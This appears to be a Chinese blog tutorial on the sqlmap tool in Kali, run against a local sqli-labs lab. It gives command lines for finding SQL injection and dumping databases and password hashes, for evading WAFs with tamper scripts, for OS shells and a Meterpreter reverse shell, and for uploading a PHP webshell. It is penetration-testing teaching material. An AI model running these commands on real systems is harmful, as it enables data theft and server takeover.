天天看點

Kali [Sqlmap]Sqlmap工具使用

Sqlmap工具使用

sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現并利用給定的URL進行SQL注入。目前支援的資料庫有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5種獨特的SQL注入技術

基于布爾類型的盲注,即可以根據傳回頁面判斷條件真假的注入

基于時間的盲注,即不能根據頁面傳回的内容判斷任何資訊,要用條件語句檢視時間延遲語句是否已經執行(即頁面傳回時間是否增加)來判斷

基于報錯注入,即頁面會傳回錯誤資訊,或者把注入的語句的結果直接傳回到頁面中

聯合查詢注入,在可以使用Union的情況下注入

堆查詢注入,可以同時執行多條語句時的注入

Sqlmap的強大的功能包括 資料庫指紋識别、資料庫枚舉、資料提取、通路目标檔案系統,并在擷取完全的操作權限時執行任意指令。

sqlmap是一個跨平台的工具,很好用,是SQL注入方面一個強大的工具!

sqlmap預設的User-Agent:sqlmap/1.1.9.22#dev (http://sqlmap.org)

Kali内自帶sqlmap,我們使用kali進行學習

使用 -h 參數檢視sqlmap的參數以及用法,sqlmap -h

Kali [Sqlmap]Sqlmap工具使用

Sqlmap的簡單用法

sqlmap -r http.txt #http.txt是我們抓取的http的請求包

sqlmap -r http.txt -p username #指定參數,當有多個參數而你又知道username參數存在SQL漏洞,你就可以使用-p指定參數進行探測

sqlmap -u “http://www.xx.com/username/admin*” #如果我們已經知道admin這裡是注入點的話,可以在其後面加個*來讓sqlmap對其注入

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” #探測該url是否存在漏洞

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --cookie=“抓取的cookie” #當該網站需要登入時,探測該url是否存在漏洞

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --data=“uname=admin&passwd=admin&submit=Submit” #抓取其post送出的資料填入

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --users #檢視資料庫的所有使用者

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --passwords #檢視資料庫使用者名的密碼

有時候使用 --passwords 不能擷取到密碼,則可以試下

-D mysql -T user -C host,user,password --dump 當MySQL< 5.7時

-D mysql -T user -C host,user,authentication_string --dump 當MySQL>= 5.7時

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --current-user #檢視資料庫目前的使用者

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --is-dba #判斷目前使用者是否有管理者權限

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --roles #列出資料庫所有管理者角色,僅适用于oracle資料庫的時候

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --dbs #爆出所有的資料庫

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --tables #爆出所有的資料表

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --columns #爆出資料庫中所有的列

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --current-db #檢視目前的資料庫

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security --tables #爆出資料庫security中的所有的表

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security -T users --columns #爆出security資料庫中users表中的所有的列

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security -T users -C username --dump #爆出資料庫security中的users表中的username列中的所有資料

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security -T users -C username --dump --start 1 --stop 100 #爆出資料庫security中的users表中的username列中的前100條資料

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security -T users --dump-all #爆出資料庫security中的users表中的所有資料

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security --dump-all #爆出資料庫security中的所有資料

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --dump-all #爆出該資料庫中的所有資料

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --tamper=space2comment.py #指定腳本進行過濾,用代替空格

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --level=5 --risk=3 #探測等級5,平台危險等級3,都是最進階别。當level=2時,會測試cookie注入。當level=3時,會測試user-agent/referer注入。

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --sql-shell #執行指定的sql語句

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --os-shell/–os-cmd #執行–os-shell指令,擷取目标伺服器權限

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --os-pwn #執行–os-pwn指令,将目标權限彈到MSF上

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --file-read “c:/test.txt” #讀取目标伺服器C槽下的test.txt檔案

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --file-write test.txt --file-dest “e:/hack.txt” #将本地的test.txt檔案上傳到目标伺服器的E盤下,并且名字為hack.txt

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --dbms=“MySQL” #指定其資料庫為mysql

其他資料庫:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --random-agent #使用任意的User-Agent爆破

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --proxy=“http://127.0.0.1:8080” #指定代理

當爆破HTTPS網站會出現逾時的話,可以使用參數 --delay=3 --force-ssl

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --technique T #指定時間延遲注入,這個參數可以指定sqlmap使用的探測技術,預設情況下會測試所有的方式,當然,我們也可以直接手工指定。

支援的探測方式如下:

  B: Boolean-based blind SQL injection(布爾型注入)

  E: Error-based SQL injection(報錯型注入)

  U: UNION query SQL injection(可聯合查詢注入)

  S: Stacked queries SQL injection(可多語句查詢注入)

  T: Time-based blind SQL injection(基于時間延遲注入)

sqlmap -d “mysql://root:[email protected]:3306/mysql” --os-shell #知道網站的賬号密碼直接連接配接

-v3 #輸出詳細度 最大值5 會顯示請求包和回複包

–threads 5 #指定線程數

–fresh-queries #清除緩存

–flush-session #清空會話,重構注入

–batch #對所有的互動式的都是預設的

–random-agent #任意的http頭

–tamper base64encode #對送出的資料進行base64編碼

–referer http://www.baidu.com #僞造referer字段

–keep-alive 保持連接配接,當出現 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保錯的時候,使用這個參數

**

探測指定URL是否存在SQL注入漏洞

**

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” #探測該url是否存在漏洞

Kali [Sqlmap]Sqlmap工具使用

在探測目标URL是否存在漏洞的過程中,Sqlmap會和我們進行互動。

比如第一處互動的地方是說這個目标系統的資料庫好像是Mysql資料庫,是否還探測其他類型的資料庫。我們選擇 n,就不探測其他類型的資料庫了,因為我們已經知道目标系統是Mysql資料庫了。

第二處互動的地方是說 對于剩下的測試,問我們是否想要使用擴充提供的級别(1)和風險(1)值的“MySQL”的所有測試嗎? 我們選擇 y。

第三處互動是說已經探測到參數id存在漏洞了,是否還探測其他地方,我們選擇 n 不探測其他參數了 。

最後sqlmap就列出了參數id存在的注入類型是boolean盲注,還有payload其他資訊也顯示出來了,最後還列出了目标系統的版本,php,apache等資訊。

Kali [Sqlmap]Sqlmap工具使用

這次探測的所有資料都被儲存在了 ‘/root/.local/share/sqlmap/output/192.168.41.129’ 目錄下

Kali [Sqlmap]Sqlmap工具使用

對于需要登入的網站,我們需要指定其cookie 。我們可以用賬号密碼登入,然後用抓包工具抓取其cookie填入

sqlmap - u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --cookie=“抓取的cookie” #探測該url是否存在漏洞

對于是post送出資料的URL,我們需要指定其data參數

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-11/?id=1” --data=“uname=admin&passwd=admin&submit=Submit” #抓取其post送出的資料填入

Kali [Sqlmap]Sqlmap工具使用

我們也可以通過抓取 http 資料包儲存為檔案,然後指定該檔案即可。這樣,我們就可以不用指定其他參數,這對于需要登入的網站或者post送出資料的網站很友善。

我們抓取了一個post送出資料的資料包儲存為post.txt,如下,uname參數和passwd參數存在SQL注入漏洞

sqlmap -r post.txt

POST /sqli-labs-master/Less-11/ HTTP/1.1

Host: 192.168.41.129

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http://192.168.41.129/sqli-labs-master/Less-11/

X-Forwarded-For: 8.8.8.8

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

uname=admin&passwd=admin&submit=Submit

檢視資料庫的所有使用者(–users)

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --users

Kali [Sqlmap]Sqlmap工具使用
Kali [Sqlmap]Sqlmap工具使用

檢視資料庫所有使用者名的密碼(–passwords)

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --passwords

Kali [Sqlmap]Sqlmap工具使用

檢視資料庫目前使用者(–current-user)

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --current-user

Kali [Sqlmap]Sqlmap工具使用

判斷目前使用者是否有管理權限(–is-dba)

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --is-dba

Kali [Sqlmap]Sqlmap工具使用

列出資料庫管理者角色(–roles)

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --roles

Kali [Sqlmap]Sqlmap工具使用

檢視所有的資料庫(–dbs)

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --dbs

Kali [Sqlmap]Sqlmap工具使用

檢視目前的資料庫(–current-db)

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --current-db

Kali [Sqlmap]Sqlmap工具使用

爆出指定資料庫中的所有的表

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security --tables

Kali [Sqlmap]Sqlmap工具使用

爆出指定資料庫指定表中的所有的列

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security -T users --columns

Kali [Sqlmap]Sqlmap工具使用

爆出指定資料庫指定表指定列下的資料

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security -T users -C username --dump

#爆出資料庫security中的users表中的username列中的所有資料

Kali [Sqlmap]Sqlmap工具使用

爆出該網站資料庫中的所有資料

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security -T users --dump-all #爆出資料庫security中的users表中的所有資料

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” -D security --dump-all #爆出資料庫security中的所有資料

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --dump-all #爆出該資料庫中的所有資料

這裡就不一一展示了。

**

Sqlmap的進階用法

**

Sqlmap在預設情況下除了适用CHAR()函數防止出現單引号,沒有對注入的資料進行修改。我們可以使用–tamper參數對資料進行修改來繞過WAF等裝置,其中的大部分腳本主要用正則子產品替換攻擊載荷字元編碼的方式嘗試繞過WAF的檢測規則。Sqlmap目前官方提供53個繞過腳本。

探測指定URL是否存在WAF,并且繞過

–identify-waf 檢測是否有WAF

#使用參數進行繞過

–random-agent 使用任意HTTP頭進行繞過,尤其是在WAF配置不當的時候

–time-sec=3 使用長的延時來避免觸發WAF的機制,這方式比較耗時

–hpp 使用HTTP 參數污染進行繞過,尤其是在ASP.NET/IIS 平台上

–proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理進行繞過

–ignore-proxy 禁止使用系統的代理,直接連接配接進行注入

–flush-session 清空會話,重構注入

–hex 或者 --no-cast 進行字元碼轉換

–mobile 對移動端的伺服器進行注入

–tor 匿名注入

指定腳本進行繞過(–tamper)

有些時候網站會過濾掉各種字元,可以用tamper來解決(對付某些waf時也有成效)

sqlmap --tamper=space2comment.py #用代替空格

sqlmap --tamper=“space2comment.py,space2plus.py” 指定多個腳本進行過濾

過濾腳本在目錄:/usr/share/sqlmap/tamper

探測等級和危險等級(–level --risk)

Sqlmap一共有5個探測等級,預設是1。等級越高,說明探測時使用的payload也越多。其中5級的payload最多,會自動破解出cookie、XFF等頭部注入。當然,等級越高,探測的時間也越慢。這個參數會影響測試的注入點,GET和POST的資料都會進行測試,HTTP cookie在level為2時就會測試,HTTP User-Agent/Referer頭在level為3時就會測試。在不确定哪個參數為注入點時,為了保證準确性,建議設定level為5

sqlmap一共有3個危險等級,也就是說你認為這個網站存在幾級的危險等級。和探測等級一個意思,在不确定的情況下,建議設定為3級,–risk=3

sqlmap -u “http://192.168.41.129/sqli/Less-4/?id=1” --level=5 --risk=3 #探測等級5,平台危險等級3,都是最進階别

sqlmap使用的payload在目錄:/usr/share/sqlmap/xml/payloads

僞造 Http Referer頭部

Sqlmap可以在請求中僞造HTTP中的referer,當探測等級為3或者3以上時,會嘗試對referer注入,可以使用referer指令來欺騙,比如,我們僞造referer頭為百度。可以這樣

referer http://www.baidu.com

執行指定的SQL語句(–sql-shell)

sqlmap -u “http://192.168.41.129/sqli/Less-1/?id=1” --sql-shell #執行指定的sql語句

輸入 select * from users

Kali [Sqlmap]Sqlmap工具使用

q或者x即可退出

Kali [Sqlmap]Sqlmap工具使用

執行作業系統指令(–os-shell)

在資料庫為MySQL、PostgreSql或者SQL Server時,可以執行該選項。

當為MySQL資料庫時,需滿足下面三個條件:

1目前使用者為 root

2知道網站根目錄的絕對路徑

3該資料庫的 secure_file_priv 參數值為空(很多資料庫的該值為NULL,這也就導緻了即使目前使用者是root,即使知道了網站根目錄的絕對路徑,也不能執行成功 --os-shell )

sqlmap -u “http://192.168.41.129/sqli-labs-master/Less-1/?id=1” --os-shell

Kali [Sqlmap]Sqlmap工具使用

與sqlmap的互動:

1選擇網站的腳本語言

2您是否希望sqlmap進一步嘗試引發完整路徑的披露?【Y/n】

3選擇判斷網站可寫目錄的方法

4如果我們不知道網站的根目錄的絕對路徑的話,我們那裡選擇 4 暴力破解,嘗試破解出根目錄的絕對路徑。這裡因為是我們本地的環境,已經知道網站根目錄的絕對位址了,這裡選擇4

【1】使用公共的預設目錄(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)

【2】自定義網絡根目錄絕對路徑

【3】指定自定義的路徑檔案

【4】暴力破解

傳送門:詳細sqlmap進階用法

反彈一個MSF的shell(–os-pwn)

在資料庫為MySQL、PostgreSql或者SQL Server時,可以執行該選項。并且需要目前擷取的權限足夠高才可以。

sqlmap -u “http://192.168.41.129:88/index.php?id=1” --os-pwn

與sqlmap互動:

選擇連接配接的tunnel,這裡選擇預設的 1 就可以了

[1] TCP: Metasploit Framework (default)

[2] ICMP: icmpsh - ICMP tunneling

1

選擇網站的腳本語言,這裡根據情況選擇

[1] ASP

[2] ASPX

[3] JSP

[4] PHP (default)

4

選擇網站的路徑,這裡也是根據情況而定,如果知道網站路徑的話,可以選擇2然後手動輸入

[1] common location(s) (‘C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/’) (default)

[2] custom location(s)

[3] custom directory list file

[4] brute force search

2

please provide a comma separate list of absolute directory paths: C:\phpStudy\PHPTutorial\WWW

然後選擇連接配接的類型,這裡選擇預設的1 即可

which connection type do you want to use?

[1] Reverse TCP: Connect back from the database host to this machine (default)

[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535

[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP

[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS

[5] Bind TCP: Listen on the database host for a connection

1

然後還會提示監聽的位址和端口,這裡直接回車即可

然後這裡選擇payload的類型,我們這裡選擇預設的1

which payload do you want to use?nt to use? [11563] ’ (detected)]

[1] Meterpreter (default)

[2] Shell

[3] VNC

1

執行完成後,如果不出問題,我們就可以獲得一個MSF類型的shell了。

傳送門

讀取伺服器檔案(–file-read)

當資料庫為MySQL、PostgreSQL或SQL Server,并且目前使用者有權限時,可以讀取指定檔案,可以是文本檔案或者二進制檔案。

sqlmap -u “http://192.168.41.129/sqli/Less-4/?id=1” --file-read “c:/test.txt” #讀取目标伺服器C槽下的test.txt檔案

上傳檔案到資料庫伺服器中(–file-write --file-dest)

當資料庫為MySQL、Postgre SQL或者Sql Server(通過powershell寫入),并且目前使用者有權限向任意目錄寫檔案的時候,可以上傳檔案到資料庫伺服器。

檔案可以是文本,也可以是二進制檔案。

是以利用上傳檔案,我們可以上傳一句話木馬或者上傳shell上去。

前提是我們知道網絡的絕對路徑。

python2 sqlmap.py -u http://192.168.41.129sqli-labs/Less-2/?id=1 --file-write C:\Users\mi\Desktop\1.php --file-dest “C:\phpStudy\PHPTutorial\WWW\2.php”

#将本地的C:\Users\mi\Desktop\1.php檔案上傳到目标伺服器C:\phpStudy\PHPTutorial\WWW\2.php

這裡會問我們是否想驗證上傳成功,我們選擇 y 的話,他就會讀取該檔案的大小,并且和本地的檔案大小做比較,隻要大于等于本地檔案大小即說明上傳功能了​。

學習傳送門

sqlmap進階用法還需斟酌,再認真點。

繼續閱讀